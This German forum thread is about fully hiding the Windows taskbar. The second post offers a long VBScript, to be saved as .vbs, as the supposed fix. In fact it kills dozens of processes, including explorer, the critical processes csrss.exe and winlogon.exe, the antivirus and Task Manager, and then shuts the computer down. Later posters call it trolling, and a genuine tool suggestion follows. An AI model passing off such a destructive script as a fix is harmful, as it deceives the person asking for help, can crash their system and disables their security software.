Windows Taskleiste richtig ausblenden?!

  1. #1
    DanielxK48x

    Benutzerbild von DanielxK48x
    Hallo,

    ich lasse meine Taskleiste automatisch ausblenden.
    Jedoch bleibt unten trotzdem so ein kleiner häßlicher Rand übrig.
    Kann man den auch irgendwie weg bekommen?
    Dank an jede Antwort.

  2. Forenstar

  3. #2
    Suncrusher


    Ja. Kopiere das: (Speichere als .vbs)
    Geht weg aber wie... (Du hast gesagt: Dank an jede Antwort )

    pc = "localhost"
    programm = "'notepad.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iexplore.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'msnmsgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'cmd.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'calc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Zattoo.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'avgnt.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'conime.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'csrss.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'dwm.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehmasas.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehtray.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'explorer.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'GoogleToolbar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'hpwuSchd2.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iTunesHelper.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'jusched.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'MSASCui.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'OpWareSE4.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'PrnStatusMX.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'realhelp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Safari.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'sidebar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'SweetIM.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskeng.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'unsecapp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'winlogon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wmpnscfg.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskmgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wpcumi.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtMon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtProc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    Set wmi = GetObject( _
    "WinMgmts:{impersonationLevel=impersonate, " & _
    "(Shutdown)}!/root/cimv2")
    Set col = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
    For Each obj In col
    rc = obj.Shutdown
    Next

  4. #3
    SR530

    Benutzerbild von SR530
    Wenn du Spass haben willst, kannst du das gerne woanderst machen ...

  5. #4
    RTW-Fahrer


    Alles beenden. sehr witzig. MOD wo bist du

  6. #5
    SR530

    Benutzerbild von SR530
    Zitat Zitat von RTW-Fahrer Beitrag anzeigen
    Alles beenden. sehr witzig. MOD wo bist du
    Mach die Augen auf ...

  7. #6
    RTW-Fahrer


    Zitat Zitat von SR530 Beitrag anzeigen
    Mach die Augen auf ...
    Dich zähle ich nicht als Mod

  8. #7
    TrµMAn


    wie wäre es damit, den Bildschirm so einzustellen, dass dieser blaue streifen unterhalb des Bildschirmrandes liegt?

    SRY, Wenn das jetzt zu On-Topic ist xD

  9. #8
    DanielxK48x

    Benutzerbild von DanielxK48x
    Ich dachte eigentlich an seriöse Antworten.
    Was soll das? ^^

  10. #9
    SkyMarshal

    Benutzerbild von SkyMarshal
    Wenn du XP verwendest, dann versuch es doch mal mit Taskbar Hide.

  11. #10
    DanielxK48x

    Benutzerbild von DanielxK48x
    Danke Skymarshall, so etwas habe ich gesucht.

Sie betrachten gerade Windows Taskleiste richtig ausblenden?!